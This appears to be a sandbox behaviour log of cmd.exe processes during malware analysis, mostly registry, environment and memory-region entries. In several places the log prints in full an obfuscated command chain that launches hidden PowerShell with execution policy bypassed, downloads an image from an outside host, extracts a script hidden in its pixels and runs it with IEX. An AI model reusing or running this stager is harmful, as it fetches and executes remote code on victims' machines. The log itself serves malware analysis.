lpcbData=0x14ebe4*=0x4) returned 0x0 [0103.762] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x4, lpData=0x14ec00*=0x40, lpcbData=0x14ebe4*=0x4) returned 0x0 [0103.762] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x4, lpData=0x14ec00*=0x40, lpcbData=0x14ebe4*=0x4) returned 0x0 [0103.762] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x0, lpData=0x14ec00*=0x40, lpcbData=0x14ebe4*=0x1000) returned 0x2 [0103.762] RegCloseKey (hKey=0x40) returned 0x0 [0103.763] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14ebe8 | out: phkResult=0x14ebe8*=0x40) returned 0x0 [0103.763] RegQueryValueExW (in: hKey=0x40, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x0, lpData=0x14ec00*=0x40, lpcbData=0x14ebe4*=0x1000) returned 0x2 [0103.763] RegQueryValueExW (in: hKey=0x40, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x4, lpData=0x14ec00*=0x1, lpcbData=0x14ebe4*=0x4) returned 0x0 [0103.763] RegQueryValueExW (in: hKey=0x40, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x0, lpData=0x14ec00*=0x1, lpcbData=0x14ebe4*=0x1000) returned 0x2 [0103.763] RegQueryValueExW (in: hKey=0x40, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x4, lpData=0x14ec00*=0x0, lpcbData=0x14ebe4*=0x4) returned 0x0 [0103.763] RegQueryValueExW (in: hKey=0x40, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x4, lpData=0x14ec00*=0x9, lpcbData=0x14ebe4*=0x4) returned 0x0 [0103.763] RegQueryValueExW (in: hKey=0x40, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x4, lpData=0x14ec00*=0x9, lpcbData=0x14ebe4*=0x4) returned 0x0 [0103.763] RegQueryValueExW (in: hKey=0x40, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14ebe0, lpData=0x14ec00, lpcbData=0x14ebe4*=0x1000 | out: lpType=0x14ebe0*=0x0, lpData=0x14ec00*=0x9, lpcbData=0x14ebe4*=0x1000) returned 0x2 [0103.763] RegCloseKey (hKey=0x40) returned 0x0 [0103.763] time (in: timer=0x0 | out: timer=0x0) returned 0x5be16bd0 [0103.763] srand (_Seed=0x5be16bd0) [0103.763] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" echO ,%*[-,% \"" [0103.763] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /S /D /c\" echO ,%*[-,% \"" [0103.763] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.764] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1fc3e90, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0103.764] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0103.764] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0103.764] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0103.764] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0103.764] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0103.764] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0103.764] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0103.764] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0103.764] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0103.764] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0103.764] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0103.764] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0103.764] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0103.764] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14f9f0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.765] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x14f9f0, lpFilePart=0x14f9d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x14f9d0*="Desktop") returned 0x19 [0103.765] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0103.765] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f700 | out: lpFindFileData=0x14f700) returned 0x20bdb0 [0103.765] FindClose (in: hFindFile=0x20bdb0 | out: hFindFile=0x20bdb0) returned 1 [0103.765] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x14f700 | out: lpFindFileData=0x14f700) returned 0x20bdb0 [0103.765] FindClose (in: hFindFile=0x20bdb0 | out: hFindFile=0x20bdb0) returned 1 [0103.765] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x14f700 | out: lpFindFileData=0x14f700) returned 0x20bdb0 [0103.765] FindClose (in: hFindFile=0x20bdb0 | out: hFindFile=0x20bdb0) returned 1 [0103.766] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0103.766] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0103.766] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0103.766] GetEnvironmentStringsW () returned 0x20bf50* [0103.766] FreeEnvironmentStringsW (penv=0x20bf50) returned 1 [0103.766] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.767] GetConsoleOutputCP () returned 0x1b5 [0103.767] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0103.767] GetUserDefaultLCID () returned 0x409 [0103.767] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a0e7b50, cchData=8 | out: lpLCData=":") returned 2 [0103.767] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14fb00, cchData=128 | out: lpLCData="0") returned 2 [0103.767] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14fb00, cchData=128 | out: lpLCData="0") returned 2 [0103.767] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14fb00, cchData=128 | out: lpLCData="1") returned 2 [0103.767] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a0fa740, cchData=8 | out: lpLCData="/") returned 2 [0103.767] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a0fa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0103.768] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a0fa460, cchData=32 | out: lpLCData="Tue") returned 4 [0103.768] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a0fa420, cchData=32 | out: lpLCData="Wed") returned 4 [0103.768] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a0fa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0103.768] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a0fa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0103.768] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a0fa360, cchData=32 | out: lpLCData="Sat") returned 4 [0103.768] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a0fa700, cchData=32 | out: lpLCData="Sun") returned 4 [0103.768] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a0e7b40, cchData=8 | out: lpLCData=".") returned 2 [0103.768] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a0fa4e0, cchData=8 | out: lpLCData=",") returned 2 [0103.768] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0103.768] GetConsoleTitleW (in: lpConsoleTitle=0x1fc4110, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0103.809] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0103.809] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0103.809] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0103.809] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0103.810] GetEnvironmentVariableW (in: lpName="*[-,", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'ype -As'+'sembly'+'Name 9axSystem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr Syste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr By'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[Syst'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))^&^& seT aDIzy=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) ^^^|POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc byPASS -nOPrOFIle -COmMANd ^^^^^^^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x44a [0103.810] _wcsicmp (_String1="echO", _String2=")") returned 60 [0103.810] _wcsicmp (_String1="FOR", _String2="echO") returned 1 [0103.810] _wcsicmp (_String1="FOR/?", _String2="echO") returned 1 [0103.810] _wcsicmp (_String1="IF", _String2="echO") returned 4 [0103.810] _wcsicmp (_String1="IF/?", _String2="echO") returned 4 [0103.810] _wcsicmp (_String1="REM", _String2="echO") returned 13 [0103.810] _wcsicmp (_String1="REM/?", _String2="echO") returned 13 [0103.817] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x14f7a8 | out: _Buffer=" ,set suLrv=. ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'ype -As'+'sembly'+'Name 9axSystem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr Syste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr By'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[Syst'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))&& seT aDIzy=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) ^|POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc byPASS -nOPrOFIle -COmMANd ^^^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT ) && cmd.exE /c %adizY% \r\n") returned 1095 [0103.818] _get_osfhandle (_FileHandle=1) returned 0x58 [0103.818] GetFileType (hFile=0x58) returned 0x3 [0103.818] _get_osfhandle (_FileHandle=1) returned 0x58 [0103.818] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ,set suLrv=. ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'ype -As'+'sembly'+'Name 9axSystem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr Syste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr By'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[Syst'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))&& seT aDIzy=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) ^|POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc byPASS -nOPrOFIle -COmMANd ^^^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT ) && cmd.exE /c %adizY% \r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ,set suLrv=. ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'ype -As'+'sembly'+'Name 9axSystem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr Syste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr By'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[Syst'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))&& seT aDIzy=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) ^|POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc byPASS -nOPrOFIle -COmMANd ^^^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT ) && cmd.exE /c %adizY% \r\n", lpUsedDefaultChar=0x0) returned 1096 [0103.818] WriteFile (in: hFile=0x58, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x447, lpNumberOfBytesWritten=0x14f778, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x14f778*=0x447, lpOverlapped=0x0) returned 1 [0103.818] _get_osfhandle (_FileHandle=1) returned 0x58 [0103.818] SetConsoleMode (hConsoleHandle=0x58, dwMode=0x0) returned 0 [0103.818] _get_osfhandle (_FileHandle=1) returned 0x58 [0103.818] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 0 [0103.818] _get_osfhandle (_FileHandle=0) returned 0x3 [0103.818] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0103.818] SetConsoleInputExeNameW () returned 0x1 [0103.818] GetConsoleOutputCP () returned 0x1b5 [0103.819] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0103.819] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0103.819] exit (_Code=0) Process: id = "12" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x56277000" os_pid = "0xb44" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0xb04" cmd_line = "cmd ; " cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1232 start_va = 0x10000 end_va = 0x44fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1233 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1234 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1235 start_va = 0x230000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1236 start_va = 0x4a0b0000 end_va = 0x4a108fff entry_point = 0x4a0b0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 1237 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1238 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1239 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1240 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1241 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1242 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1243 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1271 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1272 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1273 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1274 start_va = 0x40000 end_va = 0x41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1275 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1276 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 1277 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1278 start_va = 0x1a0000 end_va = 0x1affff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 1279 start_va = 0x330000 end_va = 0x42ffff entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1280 start_va = 0x460000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 1281 start_va = 0x560000 end_va = 0x6e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 1282 start_va = 0x6f0000 end_va = 0x870fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 1283 start_va = 0x880000 end_va = 0x1c7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 1284 start_va = 0x1c80000 end_va = 0x1fc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c80000" filename = "" Region: id = 1285 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1286 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1287 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1288 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1289 start_va = 0x7fef59a0000 end_va = 0x7fef59a7fff entry_point = 0x7fef59a0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 1290 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1291 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1292 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1293 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1294 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1295 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1296 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1297 start_va = 0x1fd0000 end_va = 0x20cffff entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 1298 start_va = 0x20d0000 end_va = 0x2197fff entry_point = 0x20d0000 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 1299 start_va = 0x20d0000 end_va = 0x2197fff entry_point = 0x20d0000 region_type = mapped_file name = "basebrd.dll" filename = "\\Windows\\Branding\\Basebrd\\basebrd.dll" (normalized: "c:\\windows\\branding\\basebrd\\basebrd.dll") Region: id = 1300 start_va = 0x21a0000 end_va = 0x2592fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000021a0000" filename = "" Region: id = 1301 start_va = 0x25a0000 end_va = 0x286efff entry_point = 0x25a0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1670 start_va = 0x2870000 end_va = 0x2a6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Thread: id = 94 os_tid = 0xb48 [0103.784] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32fbd0 | out: lpSystemTimeAsFileTime=0x32fbd0*(dwLowDateTime=0xdeccfd50, dwHighDateTime=0x1d475ba)) [0103.784] GetCurrentProcessId () returned 0xb44 [0103.784] GetCurrentThreadId () returned 0xb48 [0103.784] GetTickCount () returned 0x22828 [0103.784] QueryPerformanceCounter (in: lpPerformanceCount=0x32fbd8 | out: lpPerformanceCount=0x32fbd8*=1814626400000) returned 1 [0103.784] GetModuleHandleW (lpModuleName=0x0) returned 0x4a0b0000 [0103.784] __set_app_type (_Type=0x1) [0103.784] 